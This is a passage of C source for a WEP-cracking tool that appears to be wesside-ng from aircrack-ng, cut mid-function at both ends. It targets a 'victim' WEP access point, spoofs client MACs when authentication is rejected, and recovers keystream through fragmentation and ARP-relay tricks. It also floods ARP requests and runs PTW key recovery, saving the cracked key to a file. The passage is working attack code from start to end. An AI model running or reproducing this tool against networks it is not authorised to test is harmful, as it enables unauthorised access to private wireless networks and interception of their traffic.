(ws->ws_ignore_ack != 1) ws->ws_waiting_ack = 1; ws->ws_psent++; if (gettimeofday(&ws->ws_tsent, NULL) == -1) { perror("gettimeofday()"); exit(1); } #if 0 printf("Wrote frame at %lu.%lu\n", txstate.tsent.tv_sec, txstate.tsent.tv_usec); #endif } /* Expects host-endian arguments, but returns little-endian seq. */ static unsigned short fnseq(unsigned short fn, unsigned short seq) { unsigned short r = 0; if(fn > 15) { time_print("too many fragments (%d)\n", fn); exit(1); } r = fn; r |= ( (seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT); return htole16(r); } static void fill_basic(struct wstate *ws, struct ieee80211_frame* wh) { unsigned short *sp; memcpy(wh->i_addr1, ws->ws_bss, 6); memcpy(wh->i_addr2, ws->ws_mymac, 6); memcpy(wh->i_addr3, ws->ws_bss, 6); sp = (unsigned short*) wh->i_seq; *sp = fnseq(0, ws->ws_psent); sp = (unsigned short*) wh->i_dur; *sp = htole16(32767); } static void send_assoc(struct wstate *ws) { unsigned char buf[128]; struct ieee80211_frame* wh = (struct ieee80211_frame*) buf; unsigned char* body; int ssidlen; memset(buf, 0, sizeof(buf)); fill_basic(ws, wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ; body = (unsigned char*) wh + sizeof(*wh); *body = 1 | IEEE80211_CAPINFO_PRIVACY; // cap // cap + interval body += 2 + 2; // ssid *body++ = 0; ssidlen = strlen(ws->ws_ssid); *body++ = ssidlen; memcpy(body, ws->ws_ssid, ssidlen); body += ssidlen; // rates *body++ = IEEE80211_ELEMID_RATES; *body++ = 8; *body++ = 2 | 0x80; *body++ = 4 | 0x80; *body++ = 11 | 0x80; *body++ = 22 | 0x80; *body++ = 12 | 0x80; *body++ = 24 | 0x80; *body++ = 48 | 0x80; *body++ = 72; /* x-rates */ *body++ = IEEE80211_ELEMID_XRATES; *body++ = 4; *body++ = 48; *body++ = 72; *body++ = 96; *body++ = 108; send_frame(ws, buf, (unsigned long)body - (unsigned long)buf); } static void wepify(struct wstate *ws, unsigned char* body, int dlen) { uLong crc; unsigned int *pcrc; int i; assert(dlen + 4 <= ws->ws_pi.pi_len); // iv memcpy(body, ws->ws_pi.pi_iv, 3); body +=3; *body++ = 0; // crc crc = crc32(0L, Z_NULL, 0); crc = crc32(crc, body, dlen); pcrc = (unsigned int*) (body+dlen); *pcrc = htole32(crc); for (i = 0; i < dlen +4; i++) *body++ ^= ws->ws_pi.pi_prga[i]; } static void send_auth(struct wstate *ws) { unsigned char buf[128]; struct ieee80211_frame* wh = (struct ieee80211_frame*) buf; unsigned short* n; memset(buf, 0, sizeof(buf)); fill_basic(ws, wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH; n = (unsigned short*) ((unsigned char*) wh + sizeof(*wh)); n++; *n = htole16(1); send_frame(ws, buf, sizeof(*wh) + 2 + 2 + 2); } static int get_victim_ssid(struct wstate *ws, struct ieee80211_frame* wh, int len) { unsigned char* ptr; int x; int gots = 0, gotc = 0; if (len <= (int) sizeof(*wh)) { time_print("Warning: short packet in get_victim_ssid()\n"); return 0; } ptr = (unsigned char*)wh + sizeof(*wh); len -= sizeof(*wh); // only wep baby if ( !(IEEE80211_BEACON_CAPABILITY(ptr) & IEEE80211_CAPINFO_PRIVACY)) { return 0; } // we want a specific victim if (ws->ws_victim_mac) { if (memcmp(wh->i_addr3, ws->ws_victim_mac, 6) != 0) return 0; } // beacon header x = 8 + 2 + 2; if (len <= x) { time_print("Warning short.\n"); return 0; } ptr += x; len -= x; // SSID while(len > 2) { int eid, elen; eid = *ptr; ptr++; elen = *ptr; ptr++; len -= 2; if (len < elen) { time_print("Warning short....\n"); return 0; } // ssid if (eid == 0) { if (ws->ws_ssid) free(ws->ws_ssid); ws->ws_ssid = (char*) malloc(elen + 1); if (!ws->ws_ssid) { perror("malloc()"); exit(1); } memcpy(ws->ws_ssid, ptr, elen); ws->ws_ssid[elen] = 0; gots = 1; } // chan else if(eid == 3) { if( elen != 1) { time_print("Warning len of chan not 1\n"); return 0; } ws->ws_apchan = *ptr; gotc = 1; } ptr += elen; len -= elen; } if (gots && gotc) { memcpy(ws->ws_bss, wh->i_addr3, 6); set_chan(ws, ws->ws_apchan); ws->ws_state = FOUND_VICTIM; time_print("Found SSID(%s) BSS=(%s) chan=%d\n", ws->ws_ssid, mac2str(ws->ws_bss), ws->ws_apchan); return 1; } return 0; } static void send_ack(struct wstate *ws) { if (ws) {} /* XXX unused */ /* firmware acks */ } static void do_llc(unsigned char* buf, unsigned short type) { struct llc* h = (struct llc*) buf; memset(h, 0, sizeof(*h)); h->llc_dsap = LLC_SNAP_LSAP; h->llc_ssap = LLC_SNAP_LSAP; h->llc_un.type_snap.control = 3; h->llc_un.type_snap.ether_type = htons(type); } static void set_prga(struct wstate *ws, unsigned char* iv, unsigned char* cipher, unsigned char* clear, int len) { int i; int fd; if (ws->ws_pi.pi_len != 0) free(ws->ws_pi.pi_prga); ws->ws_pi.pi_prga = (unsigned char*) malloc(len); if (!ws->ws_pi.pi_prga) { perror("malloc()"); exit(1); } ws->ws_pi.pi_len = len; memcpy(ws->ws_pi.pi_iv, iv, 3); for (i = 0; i < len; i++) { ws->ws_pi.pi_prga[i] = ( cipher ? (clear[i] ^ cipher[i]) : clear[i]); } time_print("Got %d bytes of prga IV=(%.02x:%.02x:%.02x) PRGA=", ws->ws_pi.pi_len, ws->ws_pi.pi_iv[0], ws->ws_pi.pi_iv[1], ws->ws_pi.pi_iv[2]); hexdump(ws->ws_pi.pi_prga, ws->ws_pi.pi_len); if (!cipher) return; fd = open(PRGA_FILE, O_WRONLY | O_CREAT, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH); if (fd == -1) { perror("open()"); exit(1); } i = write(fd, ws->ws_pi.pi_iv, 3); if (i == -1) { perror("write()"); exit(1); } if (i != 3) { printf("Wrote %d out of %d\n", i, 3); exit(1); } i = write(fd, ws->ws_pi.pi_prga, ws->ws_pi.pi_len); if (i == -1) { perror("write()"); exit(1); } if (i != ws->ws_pi.pi_len) { printf("Wrote %d out of %d\n", i, ws->ws_pi.pi_len); exit(1); } close(fd); } static void proc_ctl(struct wstate *ws, int stype) { if (stype == IEEE80211_FC0_SUBTYPE_ACK) { ws->ws_waiting_ack = 0; return; } else if (stype == IEEE80211_FC0_SUBTYPE_RTS) { return; } else if (stype == IEEE80211_FC0_SUBTYPE_CTS) { return; } time_print ("got CTL=%x\n", stype); } static void proc_mgt(struct wstate *ws, int stype, unsigned char *body) { unsigned short * rc; unsigned short * sc; unsigned int aid; if (stype == IEEE80211_FC0_SUBTYPE_DEAUTH) { rc = (unsigned short*) body; printf("\n"); time_print("Got deauth=%u\n", le16toh(*rc)); ws->ws_state = FOUND_VICTIM; return; } else if (stype == IEEE80211_FC0_SUBTYPE_AUTH) { sc = (unsigned short*) body; if (ws->ws_state != SENDING_AUTH) /* We didn't ask for it. */ return; if (le16toh(*sc) != 0) { time_print("Warning got auth algo=%x\n", le16toh(*sc)); exit(1); return; } sc++; if (le16toh(*sc) != 2) { time_print("Warning got auth seq=%x\n", le16toh(*sc)); return; } sc++; if (le16toh(*sc) == 1) { time_print("Auth rejected. Spoofin mac.\n"); ws->ws_state = SPOOF_MAC; return; } else if (le16toh(*sc) == 0) { time_print("Authenticated\n"); ws->ws_state = GOT_AUTH; return; } else { time_print("Got auth %x\n", *sc); exit(1); } } else if (stype == IEEE80211_FC0_SUBTYPE_ASSOC_RESP) { sc = (unsigned short*) body; sc++; // cap if (ws->ws_state != SENDING_ASSOC) /* We didn't ask for it. */ return; if (le16toh(*sc) == 0) { sc++; aid = le16toh(*sc) & 0x3FFF; time_print("Associated (ID=%x)\n", aid); ws->ws_state = GOT_ASSOC; return; } else if (le16toh(*sc) == 12 || le16toh(*sc) == 1) { time_print("Assoc rejected..." " trying to spoof mac.\n"); ws->ws_state = SPOOF_MAC; return; } else { time_print("got assoc %d\n", le16toh(*sc)); exit(1); } } else if (stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) { return; } time_print("\nGOT MAN=%x\n", stype); exit(1); } static void proc_data(struct wstate *ws, struct ieee80211_frame *wh, int len) { int dlen; dlen = len - sizeof(*wh) - 4 -4; if (!(wh->i_fc[1] & IEEE80211_FC1_WEP)) { time_print("WARNING: Got NON wep packet from %s dlen %d\n", mac2str(wh->i_addr2), dlen); return; } assert (wh->i_fc[1] & IEEE80211_FC1_WEP); if ((dlen == 36 || dlen == PADDED_ARPLEN) && ws->ws_rtrmac == (unsigned char*) 1) { ws->ws_rtrmac = (unsigned char *) malloc(6); if (!ws->ws_rtrmac) { perror("malloc()"); exit(1); } assert( ws->ws_rtrmac > (unsigned char*) 1); memcpy (ws->ws_rtrmac, wh->i_addr3, 6); time_print("Got arp reply from (%s)\n", mac2str(ws->ws_rtrmac)); return; } } static void stuff_for_us(struct wstate *ws, struct ieee80211_frame* wh, int len) { int type,stype; unsigned char *body = (unsigned char*) (wh+1); type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK; stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK; // CTL if (type == IEEE80211_FC0_TYPE_CTL) { proc_ctl(ws, stype); return; } // MGM if (type == IEEE80211_FC0_TYPE_MGT) { proc_mgt(ws, stype, body); return; } /* Data */ if (type == IEEE80211_FC0_TYPE_DATA && stype == IEEE80211_FC0_SUBTYPE_DATA) { proc_data(ws, wh, len); return; } #if 0 printf ("Got frame for us (type=%x stype=%x) from=(%s) len=%d\n", type, stype, mac2str(wh->i_addr2), len); #endif } static void decrypt_arpreq(struct wstate *ws, struct ieee80211_frame* wh, int rd) { unsigned char* body; int bodylen; unsigned char clear[36]; unsigned char* ptr; struct arphdr* h; int i; body = (unsigned char*) wh+sizeof(*wh); ptr = clear; // calculate clear-text memcpy(ptr, S_LLC_SNAP_ARP, sizeof(S_LLC_SNAP_ARP)-1); ptr += sizeof(S_LLC_SNAP_ARP) -1; h = (struct arphdr*)ptr; h->ar_hrd = htons(ARPHRD_ETHER); h->ar_pro = htons(ETHERTYPE_IP); h->ar_hln = 6; h->ar_pln = 4; h->ar_op = htons(ARPOP_REQUEST); ptr += sizeof(*h); memcpy(ptr, wh->i_addr3, 6); bodylen = rd - sizeof(*wh) - 4 - 4; ws->ws_clen = bodylen; ws->ws_cipher = (unsigned char*) malloc(ws->ws_clen); if (!ws->ws_cipher) { perror("malloc()"); exit(1); } ws->ws_dpi.pi_prga = (unsigned char*) malloc(ws->ws_clen); if (!ws->ws_dpi.pi_prga) { perror("malloc()"); exit(1); } memcpy(ws->ws_cipher, &body[4], ws->ws_clen); memcpy(ws->ws_dpi.pi_iv, body, 3); memset(ws->ws_dpi.pi_prga, 0, ws->ws_clen); for(i = 0; i < (8+8+6); i++) { ws->ws_dpi.pi_prga[i] = ws->ws_cipher[i] ^ clear[i]; } ws->ws_dpi.pi_len = i; time_print("Got ARP request from (%s)\n", mac2str(wh->i_addr3)); } static void log_wep(struct wstate *ws, struct ieee80211_frame* wh, int len) { int rd; struct pcap_pkthdr pkh; struct timeval tv; unsigned char *body = (unsigned char*) (wh+1); memset(&pkh, 0, sizeof(pkh)); pkh.caplen = pkh.len = len; if (gettimeofday(&tv, NULL) == -1) err(1, "gettimeofday()"); pkh.tv_sec = tv.tv_sec; pkh.tv_usec = tv.tv_usec; if (write(ws->ws_fd, &pkh, sizeof(pkh)) != sizeof(pkh)) err(1, "write()"); rd = write(ws->ws_fd, wh, len); if (rd == -1) { perror("write()"); exit(1); } if (rd != len) { time_print("short write %d out of %d\n", rd, len); exit(1); } #if 0 if (fsync(ws->ws_fd) == -1) { perror("fsync()"); exit(1); } #endif memcpy(ws->ws_iv, body, 3); ws->ws_packets++; } static void add_keystream(struct wstate *ws, struct ieee80211_frame* wh, int rd) { unsigned char clear[1024]; int dlen = rd - sizeof(struct ieee80211_frame) - 4 - 4; int clearsize; unsigned char *body = (unsigned char*) (wh+1); int i, weight[16], k, j; k = known_clear(clear, &clearsize, weight, (void*) wh, dlen); if (clearsize < 16) return; for (j=0; jws_ptw, body, clear, weight, k); } static void got_ip(struct wstate *ws) { unsigned char ip[4]; int i; struct in_addr *in = (struct in_addr*) ip; char *ptr; for (i = 0; i < 4; i++) ip[i] = ws->ws_cipher[8+8+6+i] ^ ws->ws_dpi.pi_prga[8+8+6+i]; assert(!ws->ws_netip); ws->ws_netip = malloc(16); if(!ws->ws_netip) { perror("malloc()"); exit(1); } memset(ws->ws_netip, 0, 16); strncpy(ws->ws_netip, inet_ntoa(*in), 16-1); time_print("Got IP=(%s)\n", ws->ws_netip); memset(ws->ws_myip, 0, sizeof(ws->ws_myip)); strncpy(ws->ws_myip, ws->ws_netip, sizeof(ws->ws_myip)-1); ptr = strchr(ws->ws_myip, '.'); assert(ptr); ptr = strchr(ptr+1, '.'); assert(ptr); ptr = strchr(ptr+1, '.'); assert(ptr); strncpy(ptr+1,"123", 3); time_print("My IP=(%s)\n", ws->ws_myip); /* clear decrypt state */ free(ws->ws_dpi.pi_prga); free(ws->ws_cipher); ws->ws_cipher = 0; ws->ws_clen = 0; memset(&ws->ws_dpi, 0, sizeof(ws->ws_dpi)); memset(&ws->ws_dfs, 0, sizeof(ws->ws_dfs)); } static void check_relay(struct wstate *ws, struct ieee80211_frame *wh, unsigned char *body, int dlen) { // looks like it... if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) && (memcmp(wh->i_addr3, ws->ws_mymac, 6) == 0) && (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) && dlen == ws->ws_fs.fs_len) { // printf("I fink AP relayed it...\n"); set_prga(ws, body, &body[4], ws->ws_fs.fs_data, dlen); free(ws->ws_fs.fs_data); ws->ws_fs.fs_data = 0; ws->ws_fs.fs_waiting_relay = 0; } // see if we get the multicast stuff of when decrypting if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) && (memcmp(wh->i_addr3, ws->ws_mymac, 6) == 0) && (memcmp(wh->i_addr1, MCAST_PREF, 5) == 0) && dlen == 36) { unsigned char pr = wh->i_addr1[5]; printf("\n"); time_print("Got clear-text byte: %d\n", ws->ws_cipher[ws->ws_dpi.pi_len-1] ^ pr); ws->ws_dpi.pi_prga[ws->ws_dpi.pi_len-1] = pr; ws->ws_dpi.pi_len++; ws->ws_dfs.fs_waiting_relay = 1; // ok we got the ip... if (ws->ws_dpi.pi_len == 26+1) { got_ip(ws); } } } static void got_wep(struct wstate *ws, struct ieee80211_frame* wh, int rd) { int bodylen; int dlen; unsigned char clear[1024]; int clearsize; unsigned char *body; bodylen = rd - sizeof(struct ieee80211_frame); dlen = bodylen - 4 - 4; body = (unsigned char*) wh + sizeof(*wh); // log it if its stuff not from us... if ( (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) || ( (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) && memcmp(wh->i_addr2, ws->ws_mymac, 6) != 0) ) { if (body[3] != 0) { time_print("Key index=%x!!\n", body[3]); exit(1); } log_wep(ws, wh, rd); add_keystream(ws, wh, rd); } // look for arp-request packets... so we can decrypt em if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) && (memcmp(wh->i_addr3, ws->ws_mymac, 6) != 0) && (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) && (dlen == 36 || dlen == PADDED_ARPLEN) && !ws->ws_cipher && !ws->ws_netip) { decrypt_arpreq(ws, wh, rd); } // we have prga... check if its our stuff being relayed... if (ws->ws_pi.pi_len != 0) { check_relay(ws, wh, body, dlen); return; } known_clear(clear, &clearsize, NULL, (void*) wh, dlen); time_print("Datalen %d Known clear %d\n", dlen, clearsize); set_prga(ws, body, &body[4], clear, clearsize); } static void stuff_for_net(struct wstate *ws, struct ieee80211_frame* wh, int rd) { int type, stype; type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK; stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK; if (type == IEEE80211_FC0_TYPE_DATA && stype == IEEE80211_FC0_SUBTYPE_DATA) { int dlen = rd - sizeof(struct ieee80211_frame); if (ws->ws_state == SPOOF_MAC) { unsigned char mac[6]; if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) { memcpy(mac, wh->i_addr3, 6); } else if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) { memcpy(mac, wh->i_addr1, 6); } else assert(0); if (mac[0] == 0xff || mac[0] == 0x1) return; memcpy(ws->ws_mymac, mac, 6); time_print("Trying to use MAC=(%s)\n", mac2str(ws->ws_mymac)); ws->ws_state = FOUND_VICTIM; return; } // wep data! if ( (wh->i_fc[1] & IEEE80211_FC1_WEP) && dlen > (4+8+4)) { got_wep(ws, wh, rd); } } } static void anal(struct wstate *ws, unsigned char* buf, int rd) // yze { struct ieee80211_frame* wh = (struct ieee80211_frame *) buf; int type,stype; static int lastseq = -1; int seq; unsigned short *seqptr; int for_us = 0; if (rd < 1) { time_print("rd=%d\n", rd); exit(1); } type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK; stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK; // sort out acks if (ws->ws_state >= FOUND_VICTIM) { // stuff for us if (memcmp(wh->i_addr1, ws->ws_mymac, 6) == 0) { for_us = 1; if (type != IEEE80211_FC0_TYPE_CTL) send_ack(ws); } } // XXX i know it aint great... seqptr = (unsigned short*) wh->i_seq; seq = (le16toh(*seqptr) & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT; if (seq == lastseq && (wh->i_fc[1] & IEEE80211_FC1_RETRY) && type != IEEE80211_FC0_TYPE_CTL) { // printf("Ignoring dup packet... seq=%d\n", seq); return; } lastseq = seq; // management frame if (type == IEEE80211_FC0_TYPE_MGT) { if(ws->ws_state == FIND_VICTIM) { if (stype == IEEE80211_FC0_SUBTYPE_BEACON || stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) { if (get_victim_ssid(ws, wh, rd)) { return; } } } } if (ws->ws_state >= FOUND_VICTIM) { // stuff for us if (for_us) { stuff_for_us(ws, wh, rd); } // stuff in network [even for us] if ( ((wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) && (memcmp(ws->ws_bss, wh->i_addr1, 6) == 0)) || ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) && (memcmp(ws->ws_bss, wh->i_addr2, 6) == 0)) ) { stuff_for_net(ws, wh, rd); } } } static void do_arp(unsigned char* buf, unsigned short op, unsigned char* m1, char* i1, unsigned char* m2, char* i2) { struct in_addr sip; struct in_addr dip; struct arphdr* h; unsigned char* data; inet_aton(i1, &sip); inet_aton(i2, &dip); h = (struct arphdr*) buf; memset(h, 0, sizeof(*h)); h->ar_hrd = htons(ARPHRD_ETHER); h->ar_pro = htons(ETHERTYPE_IP); h->ar_hln = 6; h->ar_pln = 4; h->ar_op = htons(op); data = (unsigned char*) h + sizeof(*h); memcpy(data, m1, 6); data += 6; memcpy(data, &sip, 4); data += 4; memcpy(data, m2, 6); data += 6; memcpy(data, &dip, 4); data += 4; } static void send_fragment(struct wstate *ws, struct frag_state* fs, struct prga_info *pi) { unsigned char buf[4096]; struct ieee80211_frame* wh; unsigned char* body; int fragsize; uLong crc; unsigned int *pcrc; int i; unsigned short* seq; unsigned short sn, fn; wh = (struct ieee80211_frame*) buf; memcpy(wh, &fs->fs_wh, sizeof(*wh)); body = (unsigned char*) wh + sizeof(*wh); memcpy(body, &pi->pi_iv, 3); body += 3; *body++ = 0; // key index fragsize = fs->fs_data + fs->fs_len - fs->fs_ptr; assert(fragsize > 0); if ( (fragsize + 4) > pi->pi_len) { fragsize = pi->pi_len - 4; wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG; } // last fragment else { wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG; } memcpy(body, fs->fs_ptr, fragsize); crc = crc32(0L, Z_NULL, 0); crc = crc32(crc, body, fragsize); pcrc = (unsigned int*) (body+fragsize); *pcrc = htole32(crc); for (i = 0; i < (fragsize + 4); i++) body[i] ^= pi->pi_prga[i]; seq = (unsigned short*) &wh->i_seq; sn = (le16toh(*seq) & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT; fn = le16toh(*seq) & IEEE80211_SEQ_FRAG_MASK; // printf ("Sent frag (data=%d) (seq=%d fn=%d)\n", fragsize, sn, fn); send_frame(ws, buf, sizeof(*wh) + 4 + fragsize+4); seq = (unsigned short*) &fs->fs_wh.i_seq; *seq = fnseq(++fn, sn); fs->fs_ptr += fragsize; if (fs->fs_ptr - fs->fs_data == fs->fs_len) { // printf("Finished sending frags...\n"); fs->fs_waiting_relay = 1; } } static void prepare_fragstate(struct wstate *ws, struct frag_state* fs, int pad) { fs->fs_waiting_relay = 0; fs->fs_len = 8 + 8 + 20 + pad; fs->fs_data = (unsigned char*) malloc(fs->fs_len); if(!fs->fs_data) { perror("malloc()"); exit(1); } fs->fs_ptr = fs->fs_data; do_llc(fs->fs_data, ETHERTYPE_ARP); do_arp(&fs->fs_data[8], ARPOP_REQUEST, ws->ws_mymac, ws->ws_myip, (unsigned char*) "\x00\x00\x00\x00\x00\x00", "192.168.0.1"); memset(&fs->fs_wh, 0, sizeof(fs->fs_wh)); fill_basic(ws, &fs->fs_wh); memset(fs->fs_wh.i_addr3, 0xff, 6); fs->fs_wh.i_fc[0] |= IEEE80211_FC0_TYPE_DATA; fs->fs_wh.i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_MORE_FRAG | IEEE80211_FC1_WEP; memset(&fs->fs_data[8+8+20], 0, pad); } static void discover_prga(struct wstate *ws) { // create packet... if (!ws->ws_fs.fs_data) { int pad = 0; if (ws->ws_pi.pi_len >= 20) pad = ws->ws_pi.pi_len*3; prepare_fragstate(ws, &ws->ws_fs, pad); } if (!ws->ws_fs.fs_waiting_relay) { send_fragment(ws, &ws->ws_fs, &ws->ws_pi); if (ws->ws_fs.fs_waiting_relay) { if (gettimeofday(&ws->ws_fs.fs_last, NULL) == -1) err(1, "gettimeofday()"); } } } static void decrypt(struct wstate *ws) { // gotta initiate if (!ws->ws_dfs.fs_data) { prepare_fragstate(ws, &ws->ws_dfs, 0); memcpy(ws->ws_dfs.fs_wh.i_addr3, MCAST_PREF, 5); ws->ws_dfs.fs_wh.i_addr3[5] = ws->ws_dpi.pi_prga[ws->ws_dpi.pi_len-1]; ws->ws_dpi.pi_len++; } // guess diff prga byte... if (ws->ws_dfs.fs_waiting_relay) { unsigned short seq; ws->ws_dpi.pi_prga[ws->ws_dpi.pi_len-1]++; ws->ws_dfs.fs_wh.i_addr3[5] = ws->ws_dpi.pi_prga[ws->ws_dpi.pi_len-1]; ws->ws_dfs.fs_waiting_relay = 0; ws->ws_dfs.fs_ptr = ws->ws_dfs.fs_data; seq = fnseq(0, ws->ws_psent); ws->ws_dfs.fs_wh.i_seq[0] = (u_int8_t)(seq >> 8); ws->ws_dfs.fs_wh.i_seq[1] = (u_int8_t)(seq % 256); //seq = (unsigned short*) &ws->ws_dfs.fs_wh.i_seq; //*seq = fnseq(0, ws->ws_psent); } send_fragment(ws, &ws->ws_dfs, &ws->ws_dpi); } static void send_arp(struct wstate *ws, unsigned short op, char* srcip, unsigned char* srcmac, char* dstip, unsigned char* dstmac) { static unsigned char arp_pkt[128]; unsigned char* body; unsigned char* ptr; struct ieee80211_frame* wh; int arp_len; memset(arp_pkt, 0, sizeof(arp_pkt)); // construct ARP wh = (struct ieee80211_frame*) arp_pkt; fill_basic(ws, wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA; wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS; memset(wh->i_addr3, 0xff, 6); body = (unsigned char*) wh + sizeof(*wh); ptr = body; ptr += 4; // iv do_llc(ptr, ETHERTYPE_ARP); ptr += 8; do_arp(ptr, op, srcmac, srcip, dstmac, dstip); wepify(ws, body, 8+8+20); arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4; assert(arp_len < (int)sizeof(arp_pkt)); send_frame(ws, arp_pkt, arp_len); } static int find_mac(struct wstate *ws) { if (!(ws->ws_netip && !ws->ws_rtrmac)) return 0; if (gettimeofday(&ws->ws_arpsend, NULL) == -1) err(1, "gettimeofday()"); time_print("Sending arp request for: %s\n", ws->ws_netip); send_arp(ws, ARPOP_REQUEST, ws->ws_myip, ws->ws_mymac, ws->ws_netip, (unsigned char *) "\x00\x00\x00\x00\x00\x00"); // XXX lame ws->ws_rtrmac = (unsigned char*)1; return 1; } static int flood(struct wstate *ws) { if (!(ws->ws_rtrmac > (unsigned char*)1 && ws->ws_netip)) return 0; // could ping broadcast.... send_arp(ws, ARPOP_REQUEST, ws->ws_myip, ws->ws_mymac, ws->ws_netip, (unsigned char*) "\x00\x00\x00\x00\x00\x00"); return 1; } static void can_write(struct wstate *ws) { switch (ws->ws_state) { case FOUND_VICTIM: send_auth(ws); ws->ws_state = SENDING_AUTH; break; case GOT_AUTH: send_assoc(ws); ws->ws_state = SENDING_ASSOC; break; case GOT_ASSOC: if (ws->ws_pi.pi_prga && ws->ws_pi.pi_len < ws->ws_min_prga) { discover_prga(ws); break; } if (ws->ws_cipher) { decrypt(ws); break; } if (!ws->ws_pi.pi_prga) break; // try to find rtr mac addr if (find_mac(ws)) break; // need to generate traffic... if (flood(ws)) break; break; } } static void save_key(unsigned char *key, int len) { char tmp[16]; char k[64]; int fd; int rd; assert(len*3 < (int)sizeof(k)); k[0] = 0; while (len--) { snprintf(tmp, 3, "%.2X", *key++); strncat(k, tmp, 2); if (len) strncat(k, ":", 1); } fd = open(KEY_FILE, O_WRONLY | O_CREAT, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH); if (fd == -1) err(1, "open()"); printf("\nKey: %s\n", k); rd = write(fd, k, strlen(k)); if (rd == -1) err(1, "write()"); if (rd != (int) strlen(k)) errx(1, "write %d/%d\n", rd, (int) strlen(k)); close(fd); } static int do_crack(struct wstate *ws) { unsigned char key[PTW_KEYHSBYTES]; int (* all)[256]; int i,j; all = malloc(32*sizeof(int [256])); if (all == NULL) { return 1; } //initial setup (complete keyspace) for (i = 0; i < 32; i++) { for (j = 0; j < 256; j++) { all[i][j] = 1; } } if(PTW_computeKey(ws->ws_ptw, key, 13, KEYLIMIT, PTW_DEFAULTBF, all, 0) == 1) { save_key(key, 13); return 1; } if(PTW_computeKey(ws->ws_ptw, key, 5, KEYLIMIT/10, PTW_DEFAULTBF, all, 0) == 1) { save_key(key, 5); return 1; } return 0; } static void sigchild(int x) { struct wstate *ws; if (x) {} /* XXX unused */ ws = get_ws(); ws->ws_crack_pid = 0; /* crack done */ } static void try_crack(struct wstate *ws) { if (ws->ws_crack_pid) { printf("\n"); time_print("Warning... previous crack still running!\n"); kill_crack(ws); } if (ws->ws_fd) { if (fsync(ws->ws_fd) == -1) err(1, "fsync"); } ws->ws_crack_pid = fork(); if (ws->ws_crack_pid == -1) err(1, "fork"); // child if (ws->ws_crack_pid == 0) { if (!do_crack(ws)) { printf("\n"); time_print("Crack unsuccessful\n"); } exit(1); } // parent printf("\n"); time_print("Starting crack PID=%d\n", ws->ws_crack_pid); if (gettimeofday(&ws->ws_crack_start, NULL) == -1) err(1, "gettimeofday"); ws->ws_wep_thresh += ws->ws_thresh_incr; } static int elapsedd(struct timeval *past, struct timeval *now) { int el; int inf = 666*1000*1000; el = now->tv_sec - past->tv_sec; if (el == 0) { el = now->tv_usec - past->tv_usec; } else { el = (el - 1)*1000*1000; el += 1000*1000-past->tv_usec; el += now->tv_usec; } if (el < 0) return inf; return el; } static int read_packet(struct wstate *ws, unsigned char *dst, int len) { return wi_read(ws->ws_wi, dst, len, NULL); } static void open_wepfile(struct wstate *ws) { ws->ws_fd = open(WEP_FILE, O_WRONLY | O_APPEND); if (ws->ws_fd == -1) { struct pcap_file_header pfh; memset(&pfh, 0, sizeof(pfh)); pfh.magic = TCPDUMP_MAGIC; pfh.version_major = PCAP_VERSION_MAJOR; pfh.version_minor = PCAP_VERSION_MINOR; pfh.thiszone = 0; pfh.sigfigs = 0; pfh.snaplen = 65535; pfh.linktype = LINKTYPE_IEEE802_11; ws->ws_fd = open(WEP_FILE, O_WRONLY | O_CREAT, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH); if (ws->ws_fd != -1) { if (write(ws->ws_fd, &pfh, sizeof(pfh)) != sizeof(pfh)) err(1, "write()"); } } else { time_print("WARNING: Appending in %s\n", WEP_FILE); } if (ws->ws_fd == -1) err(1, "open()"); } static void load_prga(struct wstate *ws) { int fd, rd; unsigned char buf[4096]; fd = open(PRGA_FILE, O_RDONLY); if (fd != -1) { time_print("WARNING: reading prga from %s\n", PRGA_FILE); rd = read(fd, buf, sizeof(buf)); if (rd == -1) { perror("read()"); exit(1); } if (rd >= 8) { set_prga(ws, buf, NULL, &buf[3], rd - 3); } close(fd); } } static void check_relay_timeout(struct wstate *ws, struct timeval *now) { int el; if (!ws->ws_fs.fs_waiting_relay) return; el = elapsedd(&ws->ws_fs.fs_last, now); if (el > (1500*1000)) { // printf("\nLAMER timeout\n\n"); free(ws->ws_fs.fs_data); ws->ws_fs.fs_data = 0; } } static void check_arp_timeout(struct wstate *ws, struct timeval *now) { int el; if (ws->ws_rtrmac != (unsigned char*) 1) return; el = elapsedd(&ws->ws_arpsend, now); if (el >= (1500*1000)) { ws->ws_rtrmac = 0; } } static void display_status_bar(struct wstate *ws, struct timeval *now, struct timeval *last_status, char *pbarp) { int el; el = elapsedd(last_status, now); if (el < 100*1000) return; if 